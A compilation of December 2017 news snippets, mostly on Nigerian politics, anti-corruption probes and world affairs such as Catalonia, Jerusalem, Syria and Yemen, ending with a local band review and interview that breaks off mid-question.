The Spectranet Xmas promo is coming at a time when the brand was awarded the 4G LTE Internet Service Provider of the year by the Nigerian Technology Awards, celebrating the core essence of the brand as a family and business brand that provides unique experience to its customers.

Speaking on the extensive promo offer, the Chief Executive Officer, Mr. Ajay Awasthi, said,we want our customers to have enough data to reach out to their friends and loved ones during this holiday season by staying connected with a faster, affordable and more reliable 4G connection.

We at Spectranet believe in delivering more value to its customers while ensuring superior customer experience.

Spectranet 4G LTE brand positioning in the market is very strategic as a quality brand with huge consideration for the pocket of the consumers. As a brand, we are very conscious of quality and high speed internet connectivity.

Spectranet Limited was the first Internet Service Provider (ISP) to launch 4G LTE internet service in Nigeria. The brand is known for providing an affordable, faster and more reliable internet broadband to Nigerian homes and offices. Its internet service is currently available across Lagos, Abuja, Ibadan and Port Harcourt. Its state- of- the- art 4G network ensures high speed internet connectivity for the customers.

Spectranet 4G LTE is a recipient of multiple awards for Best Internet Service and 4G LTE Provider in Nigeria in 2016 and 2017.
The president made this promise while he was receiving the report of the Presidential Review Panel on National Intelligence Agency (NIA) at the Presidential Villa on Tuesday, December 19, 2017.

According to a statement signed by the president's Special Adviser on Media and Publicity, Femi Adesina, Buhari described the discovery as an "unfortunate incident which rightly aroused public interest and outcry."

He said, "All the circumstances surrounding the obtaining, keeping custody and disbursement of the funds have been examined by the Vice Presidents Committee and all those found to be culpable will be made to account and appropriately sanctioned.

"However, it must be understood that this cannot be done in a manner that jeopardises national security or exposes the operations of any intelligence agency, which must, by nature be conducted in secrecy.

"Suffice it for me to assure all that justice will be done consistently with our anti-corruption policies."

The president fired the NIA's former Director General, Ayodele Oke, in October based on the recommendation of the Presidential Investigation Panel headed by Vice President, Yemi Osinbajo.

This was after Oke had laid claim to the recovered loot, saying it was earmarked by the agency for covert operations.

Since he was sacked, the Economic and Financial Crimes Commission (EFCC) has invited Oke, his wife, Folashade, and some other officials of the NIA for questioning in the relation to the recovery.

While speaking on Tuesday, the president also praised the Presidential Review Panel led by a former Minister of Foreign Affairs, Ambassador Babagana Kingibe, for completing the assignment.

The panel had been tasked with reviewing the operational, technical and administrative structure of the NIA.

The president said, "Your panel's recommendation, informed as they are by your collective experience and expertise in this field, should in particular help to reposition the NIA to better perform its vital functions with greater professionalism.

"The Osborne Tower incident and its aftermath have also brought to the fore the need to review the entire national security architecture, which has now been in operation as established 31 years ago.

"Once again, I thank you very much for undertaking this national assignment."

The other members of the panel; Chief Albert Horsfall, Ambassador Zakari Ibrahim and Ambassador Ezekiel Oladeji were also present at the presentation of the report.

History of Ikoyi loot

The loot was recovered by officials of the EFCC in Flat 7B, No. 16, Osborne Towers, Ikoyi, Lagos during a raid on Wednesday, April 12, 2017.

A lot of controversy trailed the discovery of the loot, with public outcry, especially on social media, demanding that the culprits be brought to book.

The loot was initially claimed to belong to the NIA whenOke said that the amount in the apartment was marked for covert operations. After President Buhari suspended Oke and set up a three-man panel headed by Osinbajo, to properly investigate the matter, he was sacked on October 30.

The issue became even more controversial when Senator George Sekibo, a lawmaker who represented Rivers East senatorial district at the time, appeared at plenary with a whistle, claiming that the loot belongs to the Rivers state government.

Rivers State Governor, Nyesom Wike,further claimed ownership of the funds which he alleged were misappropriated from the state by his predecessor, Rotimi Amaechi.

Former aviation minister, Fani Kayode,and spokesperson of Ekiti State governor, Ayodele Fayose, Lere Olayinka also insisted that the apartment where the loot was found belonged to Amaechi. The current Minister of Transportation strongly denied the claims.

The loot has also been linked to former chairman of the Peoples Democratic Party (PDP), Adamu Mu'azu; senator representing Lagos west, Solomon Adeola; and an ex-managing director of Petroleum Products Pricing and Marketing Company (PPMC), Esther Nnamdi-Obue.
According to a report by Punch, Mark interrogated for seven hours while his international passport was seized on Monday, December 18, 2017.

It was further reported that the Benue Senator, who was allowed to go on an administrative bail, was released at 7pm after he arrived the EFCC headquarters in Abuja at noon.

The serving Senator, it was also reported, is expected to return soon to the anti-graft office to answer more questions.

ALSO READ:David Mark denies owning offshore companies

The Allegations

The immediate past Senate President is expected to account for over N5.4bn slush cash and campaign funds allegedly traced to him.

The money is alleged to have been part of the $2.1bn meant for arms procurement.

Mark was also alleged to have received over N500m from the government of ex-President Goodluck Jonathan during the build-up to the 2015 presidential election.

The Senator is also accused of sharing N2.9bn to his colleagues while presiding over the upper legislative chamber.

Mark's response

The former Senate President has denied all the allegations levelled against him by the anti-graft agency.

In a statement on Sunday, Mark said, To set the records straight, Senator Mark was invited by the EFCC via a letter addressed to the National Assembly to answer questions on the 2015 presidential election campaign funds as it concerned Benue State.

As a law-abiding citizen, Senator Mark honoured the invitation.

ALSO READ: David Mark reacts to Court of Appeal's verdict

Curiously, they also alleged that the PDP paid over N2bn into the National Assemblys account which he, as then President of the Senate, allegedly shared among the 109 senators, including PDP, Action Congress of Nigeria and All Nigerian Peoples Party (members) in 2010.

Again, to the best of his knowledge, Senator Mark is not aware of such transactions. This simply did not make sense to any right thinking member of society.

Senator Mark wondered why anybody would think that PDP will pay money into National Assembly account. He, however, clarified all the issues raised before returning home.

Battle with David Onjeh

David Mark has been representing Benue-South Senatorial District since 1999 with little or no resistance.

Senator Mark's return to the Senate in 2015 was not business as usual after getting a strong resistance from All Progressives Congress (APC) candidate in the Benue South Senatorial District, Daniel Onjeh.
Operatives of the EFCC arrested the founder of the auto manufacturing company at his Enugu home on Tuesday for reportedly jumping bail.

In response to the criticism that has trailed his arrest, spokesperson of the EFCC, Wilson Uwujaren, released a statement where he revealed that the industrialist had failed to honour an invitation by the anti-graft gency.

He said, "A well known industrialist, Chief Innocent Chukwuma, popularly known by his company's name, INNOSON, has been arrested by the EFCC.

"He was picked up at about 11am at his Savage Crescent, GRA Enugu residence on Tuesday, December 19, 2017.

"His arrest followed his refusal to honour invitation by the commission having earlier jumped an administrative bail granted him in a case being investigated by the Capital Market and Insurance Fraud Unit of the commission's Lagos office.

"Chukwuma, rather than honour the invitation by the EFCC, mobilised six truckloads of thugs pretending to be staff of his company to his residence, where they manhandled EFCC operatives.

"It took reinforcement from the Enugu office of the EFCC to arrest the industrialist who is currently being grilled by a team of investigators."

Innoson challenges arrest

Earlier, Innoson spokesperson, Cornel Osigwe, said Chukwuma was arrested for reportedly jumping bail in connection to a case he has with Guaranty Trust Bank (GTB).

Osigwe protested that the anti-graft agency had failed to send an initial invitation to warrant the indiscriminate arrest, accusing GTB of using undue influence to intimidate the company.

He said, "He was never invited by the EFCC, we challenge them to come forward with any evidence showing that he jumped bail.

"This is GTBank using federal authorities to persecute an illustrious citizen who has done a lot to improve the economic development of this country."

Innoson vs GTB

GTB has racked up a N8.5 billion debt to Innoson Group after the company won in a series of court judgements after it accused the financial institution of illegal service deductions in its accounts.

In its defence, the bank claimed that Chukwuma manipulated bank and shipping documents to obtain tax waivers from the Nigerian government.
Okowa made the call on Tuesday in Effurun at the opening of a Mall 18-pump filling station owned by former Minister of State for Education, Mr Kenneth Gbagi.

The News Agency of Nigeria (NAN) reports that the 600-shop is located close to Golden Tulip Hotel also owned by the former minister.

The governor said that with the signing of the states 2018 Appropriation Bill of N308 billion into law, the people should expect more development.

By the grace of God, we will be able to fund our budget in 2018.

Not many people realise that for many months back, about 65 per cent of oil and gas that would ordinarily have come from this state was not exploited because of the Forcados Trunkline that was shot down.

But, thank God that since June, 2017, the Trunkline has been operational and we are now benefiting from it. We have now moved to number two in terms of oil production in the country.

I believe that if we continue to sustain this peace, in the next few years we will begin to reap the fruits of development.

I want to encourage investors to come back because this area has a good population that can make any company to survive, he said.

In his remarks, an elder statesman, Chief Edwin Clark, urged the Itsekiri, Ijaw and Urhobo people to love each other and live in harmony to galvanise development in Warri.

Clark commended Gbagi for the massive investment and urged other affluent persons in Delta to emulate him and engage the teeming unemployed.

Earlier, Gbagi had called for an enabling environment that would encourage local investors in the country.

You cannot discourage your local investors and expect foreign investors to come and invest.
The News Agency of Nigeria (NAN) reports that Boeing 737-800 aircraft, with Registration Number 5A-DMH, arrived at the Murtala Muhammed International Airport, Lagos at 7:47 p.m.

They comprised of 21 adult females, 145 adult males and one child.

The Director General of NEMA, Alhaji Mustapha Maihajja, who received the returnees confirmed that three of them had medical cases and were promptly given treatment by doctors and paramedics.

Maihajja, who was represented by the Southwest Zonal Coordinator of NEMA, Alhaji Suleiman Yakubu, said two of the returnees were now in stable condition, while the third person had been referred to hospital for further treatment.

He advised the returnees to acquire vocational skills or further their education to contribute their quota to national development.
He said that the corporation was planning to import one billion litres of petroleum at the end of December before going back to the normal 30 days sufficiency.

We have redoubled our supply to the country at the time the rumor of fuel scarcity started,

We have 30 days sufficiency of petroleum and have to put in extra supply over the usual supply to about 700 trucks daily supply.

That will amount to between 27 million litres and 30 million litres, he said.

Baru commended the Department of Petroleum Resources (DPR) and the Public Private Regulatory Agency (PPRA) for supporting the NNPC in ensuring that all depots and stations with products were selling.

He regretted the strike embarked upon by the Petroleum and Natural Gas Senior Staff Association of Nigeria (PENGASSAN), saying that the reason for the strike was not directly related to the NNPC.

We thank God that they had withdrawn their strike and supply of fuel products has been restored in Abuja and other parts of the country.

We guarantee that there was enough petrol to go round, and the DPR is out to seal stations and marketers hoarding the products.

Those hoarding will have their products given away to users without payment, he said.

He appealed to marketers and fuel stations to maintain the official selling price of N145 per litre which he said was in line with the price regulation.

Earlier, Gov.Bello had appealed to the NNPC boss to fast track the exploration of the Bida oil basin.

He said that the state government had established a Ministry of Mineral Resources and Department of Oil Gas to ensure the state was among the oil producing states in the country.

We are making progress in the basin that is why we are here to follow up and find out how things are moving and have an understanding of the progresses made for the benefit of our people.

It will be our joy and hope that the state will join the oil producing states, as we are hoping to start exploring oil in the state as soon as possible.

The governor also appealed to the NNPC boss to build a truck park for oil tankers from Minna, Suleja, Mokwa and Tegina.

He said that trucks parked by the roadsides had resulted to environmental hazards in the state.

A lot of oil trucks filled with fuelpark their vehicles within our communities and they load oil above the normal approved standard of 3,500 metric tons per truck.
The Senate President turned 55 years today, Tuesday, December 19, 2017.Ashafa who released his message to Saraki via his social media handles wished the Senate President happy birthday stating Happy 55th birthday to your Excellency,the President of the Nigerian Senate @bukolasaraki.

ALSO READ: Sahara Reporters ordered to pay Senate President N4 billionAshafa who also seized the opportunity to commend the leadership of the Senate President stated further that Under your leadership the @NGRSenate has transformed into a more dynamic and vibrant institution in Service of the Nigerian people. Wishing you more years of Almighty Allahs grace and kindness.
In a report by TheCable, Kallon said the deadly ambush on the convoy carrying humanitarian food supplies for conflict-affected is capable of limiting the organisations work in Nigeria.

In a statement released by the UN on Monday, December 18, 2017, the aid agency expressed grave concern over the limitations that attacks on aids trucks may have on the delivery of life-saving supplies to people in need in north-east Nigeria.

Violence against convoys carrying humanitarian aid is unacceptable and can result in concerning limitations in our ability to provide life-saving relief to those who need it the most, Kallon said.

We must ensure the safety of aid workers and aid convoys across the north-east of Nigeria, so people in need of assistance can access it in a timely manner and in sufficient quantity. Many lives are at risk, he added.

The Attack

The convoy of the UN aid trucks conveying humanitarian food supplies for conflict-affected, was ambushed by a non-state armed group between Dikwa and Gamboru road, in Borno state.

The ambush reportedly resulted in the loss of at least four people as well as the destruction of basic aid items initially destined to alleviate the suffering of thousands of women, children and men.

ALSO READ: 4 killed in terrorist attack on UN convoy in Borno

The Army's Statement

The Nigerian army, in a statement issued by the Deputy Director, Army Public Relations, Col. Onyema Nwachukwu, had dismissed the report as misleading.

The Army further said no trucks of the UN agency conveying food items were carted away in the insurgents attack on Saturday at Maula village of Gamboru-Ngala Local Government Area of the state.

ALSO READ: No UN personnel killed or food items carted away by insurgents in Borno

In another statement, the army, through Maj.-Gen. Rogers Nicholas, the Theatre Commander, Operation Lafiya Dole, said only Boko Haram members were killed in the attack.

He also denied the killings of civilians in the attack coordinated by the Boko Haram insurgents against the World Food Programme.

The United Nations effort on North East

The United Nations and its partners operate in the north-east of Nigeria in order to provide life-saving assistance to 6.9 million people affected by the brutal conflict.

Humanitarian operations are carried out following the four basic humanitarian principles of operational independence, humanity, impartiality and neutrality.
Dibal said the command had tightened security at entry and exit points of the state to deal with any form of security threats.

 We have deployed plain cloth operatives to churches, motor parks, recreation centres and Amusement parks as part of the security build-up, he said.

He said police patrols had been intensified in and outside the metropolis,adding that police personnel had been stationed at strategic locations as part of the measures.

The commissioner assured residents of the state that the security measures put in place would guarantee peace during the celebrations.

We have also approached stakeholders, traditional and religious leaders to mobilise residents to be security conscious at all times, he said.
The president's spokesperson said this while speaking during an interview on Gatefield Television on Monday, December 18, 2017.

While he failed to disclose if the president will seek reelection in 2019, Shehu noted that the president's track record in his first term speaks well for him.

He said, "He (Buhari) more than deserves a second term on account of the fact that the president has started something of a revolution in this country, because it will take a revolution to transform this country from a nation that did not even condemn corruption on the rhetorical level; that had embraced corruption from top to bottom. That's what the president is trying to change. To rid this country of corruption."

Shehu continued to laud the president's achievement in office especially in terms of security and agriculture, saying it has improved since before the president was sworn in.

He said, "If Buhari hadn't been here, Boko Haram would have been in Aso Rock by now; they would have taken over Abuja. You would not have been here talking to me, because they were everywhere.

"Boko Haram had reached Ibadan and Lagos. People look at this country and say nothing has been achieved. Can you build anything without peace in this country.

"This is a country that spent US$5 million every day importing rice; we're not doing that anymore. What more do you want us to say?

"We have created nearly half a million jobs for graduates through N-Power and all of these schemes. The president identified key issues and he was right."

ALSO READ: Buhari will ask for your votes again in 2019

Buhari's reelection status

While the president has refused to officially declare his intention to seek reelection in 2019, he has flirted around the topic in recent weeks.

While meeting with the Nigerian community in Abidjan, Cote d'Ivoire last month, the president explained that he was accompanied to the meeting by two state governors because it will "be another vote for me in the future."

Also, while speaking during a two-day visit to Kano State a week later, the president said he's confident of winning reelection particularly due to the crowd turnout.
The All Progressives Congress (APC) in Ekiti state accused the governor of shortchanging delegates while claiming the funds were bribes for the delegates to vote for some candidates.

In a statement on Monday, December 18, 2017, the spokesman of the APC in Ekiti, Taiwo Olatubosun, made the allegation.

The delegates

A total of 92 delegates represented Ekiti State and the delegates, according to the statement from APC, were said to have been directed to vote for Uche Secondus, winner of the chairmanship election, and some other candidates.

However, all the 92 candidates were alleged to have only been paid N50,000 each by the governor, who was at the convention with his supporters and the state's delegates.

The bribery allegation

There had been allegations of bribery at the recently held PDP convention in Abuja but the talks have been bandied in hush tones until the recent outburst of the Ekiti APC.

Olatubosun said: Just last week, he robbed members of his party who were delegates to PDP convention by collecting $10,000 on behalf of each of the 92 delegates but gave each delegate a pittance of N50,000, while their counterparts from other states went home with $10,000, the statement read.

This is the same way he denied taking N2 billion Ecological Fund for a very long time until APC approached Ecological Fund Office in Abuja to confirm the status Ekiti States entitlement and three days after he confessed taking the money.

ALSO READ: Fayose congratulates newly elected PDP chairman Uche Secondus

He announced the award of exactly N2 billion even though up till now, there is no ecological project he executed with that money and the result is what we saw early in the year when floods ravaged several parts of the state.
Registered in 1992, Memorial is one of Russia's most respected human rights organisations and investigates everything from the Stalin-era Gulag to government death squads in Chechnya.

Memorial said in a statement it could not imagine itself without Roginsky, who was the organisation's chairman.

"Many years before Memorial was founded, he started the fight for historical truth and for human rights -- and was denied freedom for that," the organisation said.

"He continued this fight until his last day -- without him the work of Memorial all these years would have been impossible," it said.

Born in 1946 in Velsk, a town in Russia's northern Arkhangelsk region, Roginsky dedicated his life to documenting the abuse and injustice of the Soviet Union -- and later Russia -- including Stalinist repressions.

He studied at the University of Tartu, in present-day Estonia, and edited the samizdat historical collections, dubbed "Memory", between the years 1975 and 1981.

He was pressured to emigrate in 1981.

He declined and several months later he ended up in prison after being charged with document forgery and receiving a four-year prison sentence.

He helped found Memorial in 1989, with Nobel Prize winner Andrei Sakharov, dedicated to research on Soviet purges as well as human rights violations in modern Russia.

Human rights activists said Roginsky's passing was a huge loss.

"Arseny Borisovich was a symbol of his generation and his time," Sergei Lukashevsky, director of Moscow's human rights Sakharov Center, told AFP.

"The son of a repressed person, he dedicated himself to studying the history of political repression and then found himself in a camp for his historical work," Lukashevsky said.

He called Roginsky a person "who united all" and said his death was a "huge loss for us."
"The secessionist process was the worst episode of disloyalty in the history of our democracy," Deputy Prime Minister Soraya Saenz de Santamaria told a Senate committee.

"But the worst betrayal was to Catalans who genuinely believed in independence. They were the ones who were led to believe that (their dream) was about to come true, whereas in fact it was all a big show, a 'symbolic' episode," she said.

"A fake, in the full sense of the word," she said, adding that the campaign had been "founded on post-truth".

The deputy prime minister's statement came as she presented her findings to a Senate committee, after she was tasked to run the region following a unilateral independence declaration by Catalonia's axed parliament on October 27.

Spain is poised to back Catalonia's regional autonomy once a new government takes the reins following a pivotal election on Thursday.

As the decisive moment nears, secessionist and pro-unity candidates are neck-and-neck in the polls.

Saenz de Santamaria meanwhile accused the deposed Catalan government of diverting regional funds to finance their objectives, including more than 10 million euros ($11.8 million) to pay their representatives abroad.

"Meanwhile, entire hospital services were shut," she said.

She also accused the deposed government of abandoning its responsibilities towards the education, health and judicial sectors, focusing instead on its independence drive.

Spain was plunged into its worst political crisis since democracy was reinstated following dictator Francisco Franco's death in 1975, after the Catalan government pushed ahead with a banned independence referendum on October 1.
The veto cast by US Ambassador Nikki Haley highlighted Washington's isolation over Trump's announcement that the US embassy will be moved from Tel Aviv to Jerusalem, effectively ignoring Palestinian claims on the city.

Key US allies Britain, France, Italy, Japan and Ukraine were among the 14 countries in the 15-member council that backed the measure asserting that any decisions on the status of Jerusalem "have no legal effect, are null and void and must be rescinded."

"The United States will not be told by any country where we can put our embassy," Haley told the council after the veto.

Egypt put forward the draft resolution which insists that Jerusalem is an issue "to be resolved through negotiations" between Israel and the Palestinians and expresses "deep regret at recent decisions concerning the status of Jerusalem", without specifically mentioning Trump's move.

The United States along with Britain, China, France and Russia can veto any resolution presented to the council, which requires nine votes for adoption.

Breaking with international consensus, Trump announced on December 6 that he would recognize Jerusalem as Israel's capital and move the US embassy there from Tel Aviv, triggering protests and strong condemnation.

US Vice President Mike Pence will visit Jerusalem on Wednesday, wading into the crisis over one of the most controversial issues in the Israeli-Palestinian conflict.

Israel seized control of the eastern part of the city in the 1967 Middle East war and sees all of Jerusalem as its undivided capital. The Palestinians view the east as the capital of their future state.

The draft resolution had included a call on all countries to refrain from opening embassies in Jerusalem, reflecting concerns that other governments could follow the US lead.
Before the vote, rightwing opposition leader Lulzim Basha had criticised socialist Prime Minister Edi Rama for wanting to appoint a "puppet" to follow his commands.

The accusation comes amid an investigation into Saimir Tahiri, a close ally of Rama's and until March Albania's interior minister, who is accused of having links to international cannabis trafficking.

Opposition MPs tried in vain Monday to stop the proceedings, but Arta Marku was eventually sworn in as interim attorney general as smoke still filled the room.

Marku's appointment "is a constitutional violation and can lead to a destabilisation of the country," Basha had said Sunday night.

He said the job of naming a new attorney general should fall to the prosecutor's office high council, as a plan to reform the current law, which has not yet been voted on, has laid out.

Rama "is asking us to violate the constitution because he wants an attorney general under his thumb," Basha added.

Marku is due to fill the role for the next two to three months, or until a new prosecution high council has been created.
The declaration could deepen a spiral of violence that has occurred since the election, as anti-Hernandez protesters and police have squared off repeatedly.

Police have counted three deaths in the unrest. But the opposition says 20 people have died, and Amnesty International has registered 14 deaths.

The election was deeply contentious.

Hernandez, 49, stood for re-election against Nasralla, a 64-year-old former TV presenter, despite a constitutional ban on presidents having more than one term.

His conservative National Party said that rule was scrapped by a 2015 Supreme Court ruling.

But the opposition insists ballots were tampered with after the election, and says unusual breaks in the count that dragged out the tally over more than a week was suspicious.

International observers also said they noted "irregularities."

Call for new vote

The Supreme Electoral Tribunal had previously declined to name a victor, despite saying that its count of the ballots showed a slight margin in favor of Hernandez: 43 percent to 41 percent for Nasralla.

But it had to do so by a December 26 deadline, or risk the entire election being invalidated.

Nasralla, the candidate of the leftist Opposition Alliance Against the Dictatorship, is standing firm on his claim that he won the election, and that only fraud made it look like Hernandez had the edge.

He is insisting the entire vote be held again, with greater international scrutiny.

On Sunday, Nasralla left for the United States to call attention to the fraud he said was perpetrated.

He was to meet the head of the Organization of American States, Luis Almagro, officials from the US State Department and human rights groups.

The US visit "may be decisive in finding a solution to the crisis brought about by fraud and to restore calm to the nation," he told journalists in Tegucigalpa before leaving.

Going into the election, the United States gave implicit support to Hernandez, who has presided over a crackdown on vicious gangs that are rampant in Honduras, which is beset by violence, poverty and corruption and provides many of the undocumented migrants headed to the US.

Hernandez himself was in mourning over the death of his 51-year-old sister in an air force helicopter crash on Saturday that also killed five others.
Russian Deputy Ambassador Vladimir Safronkov argued that the situation in Syria had "changed radically" over the past three years and that cross-border aid was "a legacy of the past."

"We think it is important to gradually draw down this rudimentary scheme which has worked for Syria's division," said Safronkov.

The resolution put forward by Egypt, Japan and Sweden was adopted by a vote of 12 in favor, with Russia, China and Bolivia abstaining.

The United Nations maintains that the cross-border deliveries are a lifeline to Syrians living in rebel-held territory because the government in Damascus has heavily restricted aid shipments to those areas.

More than 13 million people need humanitarian aid in Syria, now in its seventh year of war.

Cross-border aid reaches one million Syrians per month, on average, according to UN aid officials.

The adoption of the resolution extending the aid operation came after Russia used its veto power to block a chemical weapons investigation, triggering a major clash at the council among big powers over Syria.

Russia has used its veto 11 times at the council to thwart action directed at its Syrian ally.

Russia wants aid scheme to end

Moscow had argued that the aid operation undermines Syria's sovereignty because aid agencies must notify Damascus, but not seek its permission, for the deliveries inside Syria.

Safronkov said aid agencies must return to the "traditional" approach of working with the Syrian government on providing humanitarian assistance to the entire country.

The United Nations must "make plans for a gradual withdrawal from this cross-border scheme," he said.

Syrian forces have made major military gains since Russia's intervention in the war in 2015, retaking large swathes of rebel-held territory.

After Russia complained that cross-border aid was falling into the hands of "terrorists," the council agreed to ask UN Secretary-General Antonio Guterres to review the operation in six months and recommend ways to strengthen monitoring.

Welcoming the adoption, US Deputy Ambassador Michele Sison stressed the aid was of "utmost importance to reduce the suffering in Syria."

France said humanitarian aid was critical for Syrians and singled out the crisis in Eastern Ghouta, a rebel-held area near Damascus that has been under government siege.

With 400,000 people trapped with no access to food and medicine, Eastern Ghouta is "a new Aleppo in the making", said French Ambassador Francois Delattre, referring to Syria's second city, which fell to government forces after months of siege.

"The Syrian regime continues bombing its population, using hunger as a war tool," said Delattre. "This constitutes a war crime."
"We are deeply concerned by the recent surge in civilian casualties in Yemen as a result of intensified air strikes by the Saudi-led coalition," spokesman Rupert Colville told reporters in Geneva.

A Saudi-led coalition has been waging an air campaign against Huthi rebels since March 2015 in an attempt to shore up the internationally recognised government of Abedrabbo Mansur Hadi.

More than 8,750 people have been killed in the conflict since the intervention in the impoverished Arabian Peninsula country, where more than 2,000 people have also died of cholera this year.

The air strikes have intensified since the December 4 killing of ex-president Ali Abdullah Saleh at the hands of the Huthis after his alliance with the rebels collapsed.

In an interview with AFP on Monday, UN rights chief Zeid Ra'ad Al Hussein lamented "the total impunity that seems to exist (in) attacks from all sides", although he said "the majority of casualties is still coming from the coalition air strikes."

'Horrifying situation'

He said a combination of the violence and a blockade the coalition imposed on rebel-held ports last month, blocking desperately-needed aid, had created "a horrifying situation in Yemen... literally an inferno for many Yemenis."

Last week, the UN humanitarian coordinator for Yemen, Jamie McGoldrick, warned: "8.4 million Yemenis are a step away from famine."

And on Tuesday, the UN children's agency UNICEF said the blockade had sparked critical shortages and had hit access to safe water across the country.

"Water pumping stations serving over three million people via public networks in 14 cities are quickly running out of fuel," it said in a statement.

Colville said the rights office had verified that four civilians were killed on December 9 when coalition strikes hit the official Yemen TV channel, Qanat Al Yemen.

At least seven civilians were also killed when air strikes hit the Al Hudaydah on December 10, with 45 more perishing in attacks on a prison in Sanaa three days later, he said.

The office said it had also just verified reports that 20 civilians, including 14 children, were killed in an attack on a farmhouse in Hudaydah governorate on December 15, while one woman and nine children were killed a day later as they returned from a wedding party in Marib governorate.

Colville called on all sides in the conflict to "take all feasible precautions to avoid, and in any event to minimise, the impact of violence on civilians."
Piles of documents had stood stacked for decades in the headquarters of a mining company formerly run by German Jewish entrepreneur Mauricio Hochschild.

In his time Hochschild was vilified as a ruthless tycoon, but when researchers started sorting through the paperwork decades later, they began to unravel the tale of how he helped Jews flee from persecution in the 1930s.

"He saved many souls from the Holocaust by bringing them to Bolivia and creating jobs for them,"Carola Campos, head of the Bolivian Mining Corporation's information unit, told AFP.

Jobs for fugitive Jews

Along with fellow magnates Victor Aramayo and Simon Patino, Hochschild had his mining company nationalized in 1952 by the Bolivian government. It accused them of plundering the nation by mining its tin reserves for their own profit.

But the documents revealed what else Hochschild had been up to.

They include work contracts drawn up for Jews from Europe by the mining firm in the 1930s, says the head of the corporation's archives, Edgar Ramirez.

There is a letter from a kindergarten housing Jewish children in La Paz asking for Hochschild's help to expand the facility "in view of the number of children who are here and others who want to come."

One letter was from French authorities, asking him to receive a thousand Jewish orphans.

There are letters sent at the time by the British embassy to Hochschild with blacklists of companies linked to the Axis powers, whom he was forbidden to do business with.

'Bolivian Schindler'

jpegMpeg4-1280x720Of the many Jews who fled from repression under Adolf Hitler in 1930s Germany, thousands came to Bolivia.

For many it was a stepping stone on to the United States, Brazil, Argentina or Israel.

"In 1938 Hochschild calculated that he had brought between 2,000 and 3,000 Jews over. But seven months later, in 1939, he calculated that he had brought 9,000," said historian Robert Brockmann.

That is several times more than the 1,000 or so that the German industrialist Oskar Schindler is estimated to have saved from deportation to a death camp, as recounted in Steven Spielberg's Oscar-winning 1993 film Schindler's List.

Ramirez and Udler echo the phrase used by the Bolivian media to refer to Hochschild: "the Bolivian Schindler."

Influence over president

Brockmann is writing a book about Hochschild and his friendship with German Busch, Bolivia's military president from 1937 to 1939.

He says Hochschild helped persuade Busch to open up the country to Jewish migrants in 1938.

Hochschild told Busch the measure would bring laborers to Bolivia to help its agricultural development.

But it also allowed Hochschild to save the lives of fugitive poets, writers and historians, Ramirez says.

Hochschild paid the Jews' passage to Bolivia and housed them to begin with after they arrived.

Refugees welcomed

In the 1940s there were an estimated 15,000 Jews in Bolivia, says Ricardo Udler, president of the Bolivian Israelite Circle.

Some of them arrived with Hochschild's help, while others arrived in Bolivia by different means.

Many moved on to other countries, and today the number of Jews in the country has sunk to just 500, Udler says.

"We are very grateful to Bolivia. It was one of the few countries that opened its doors to refugees from the war," said Monica Blankitny, whose father Jacobo came to Bolivia after surviving internment at the Auschwitz concentration camp.

World memory

The Hochschild documents were certified in October by the United Nations' cultural heritage body UNESCO. It has listed them in its Memory of the World documentary preservation program, Campos said.

Bolivia's Mining Museum plans to publish them online in March.

Hochschild was born in Biblis in western Germany 1881 and migrated to Bolivia in 1921.
The Zanzibar host local lads NVMD for a second time, plus Q&A with the lads by Ben Harding . Published Mon 18 Dec 2017 23:34, last updated: 20/12/17

NVMD performed at the Zanzibar on Saturday night to a packed crowd.



Chants from their fans ensued as the boys set themselves up for a 45-minute set. From the first time they performed, the confidence of the band has grown. Their stage presence combined with their audience interaction proved to be popular amongst the audience.



Starting with an original, the crowd roared. Revolutionary got the crowd dancing, as well as them singing along with the band. The incredible set list had the crowd dancing non-stop, and even gave the lads the chance to show themselves off as a band. The chemistry and camaraderie between the NVMD boys was visible to everyone. The banter between them got the crowd laughing.



Fans of the NVMD lads filled the front of the audience, with passer-byers walking in to the Zanzibar to listen to the band, and fans of bands performing later in the night joining the crowd to dance and sing along to the covers the bands performed.



Those covers included songs from Arctic Monkeys, Green Day and Blur. Each song held a special place in each of the guys hearts for various reasons. Their cover of Green Days 21 Guns was a favourite both by the band and the audience. All of the audience had their hands in the air singing along to a song they all associated a period in their lives too.



In amongst the cover songs, the boys debuted some of their originals and played other well known originals. Every time an original was played, the reaction from the crowd screamed success, and without the prior warning of it being an original, it was difficult to distinguish the two. Speaking to the band after the gig, they were all overwhelmed with the support from their fans and are looking onward and upwards for their next gigs, with the aim to release and EP by mid 2018.



Here at Purple Revolver, we caught up with the band to ask them a few questions. We got to know them a little bit better following our chat at their first gig. Ryan, Nick, Sam and Ed are all second-year college students and during our chat, we spoke about all things music, their future and what influences their music.



Heres what the lads had to say;



PR: So, do you each have our own different music tastes then?



N: I have a very eclectic music taste, alright, yeah I'll admit I like a bit of jazz, there's some nice things in jazz. I also like, like, prog-metal



R: I mainly listen to Nirvana, but then also at the moment I'm listening to, like, weird 70's stuff, been listening to the Joker and it's all I've been listening too for like a week.



S: I'm quite simple, I listen to like punk/pop punk type music



N: We all like our punk and rock, that's why we are here



E: Arctic Monkeys



R: I don't think Ed knows any other band other than Arctic Monkeys



PR: So, how do these influence the band, then? How does each different music taste influence what you do?



N: I think its just sort of, like, everything you hear, even if it is just something on the radio, can be an influence, like that's why I think its good to listen to such a wide range of music because anything can be an influence.



E: You're kind of influenced by everything around, aren't you



R: I don't listen to a specific style of music, I just listen to whatever I feel like at the time.



S: I like what I like.



N: I think thats the great thing about music, because you can just mix any occasion and be inspired in so many different ways.



PR: So where do you guys feel you fit then, what genre?



NVMD: Alternative Rock definitely



N: A lot of originals are quite eclectic, you couldn't pin us down to one band, and I think thats just because we are starting out



R: I feel like when we write a song, it doesn't have to sound like 'us', because whatever we write is our song, so it doesn't matter. If we like it, we like it and we play it



N: We're definitely something different, you know, we write what we like and if we don't like it we get rid of it



R: Yeah because, Starve, is completely different to like the newer one we've written, and Ex Vevo and This Means Nothing



S: And that Scottish one!



PR: Outside of the band, what are your passions? Sam, Ed, I know you two skate, but Ryan, Nick you're, er, quite the elusive type, so what is it you all do outside of the band?



R: Write sh*t. I write a lot, really, that's all I do



N: I'm quite into acting, I really like theatre and stuff like that. I do a bit of acting outside of the band and I like going to see plays and watching films and stuff like that.



PR: So, you said before you have a group of originals, and I know they are a solid set of originals, but when is it that we can all hear them?



N: Come see us live, check out our social media pages for when we are gigging and come see us live. We're hopefully going to get together some recordings soon and put them out there and, yeah, we'll see!



PR: Sam, what's your inspiration then? I know Ryan is the lyricist, so what makes you write the lead guitar to his lyrics?



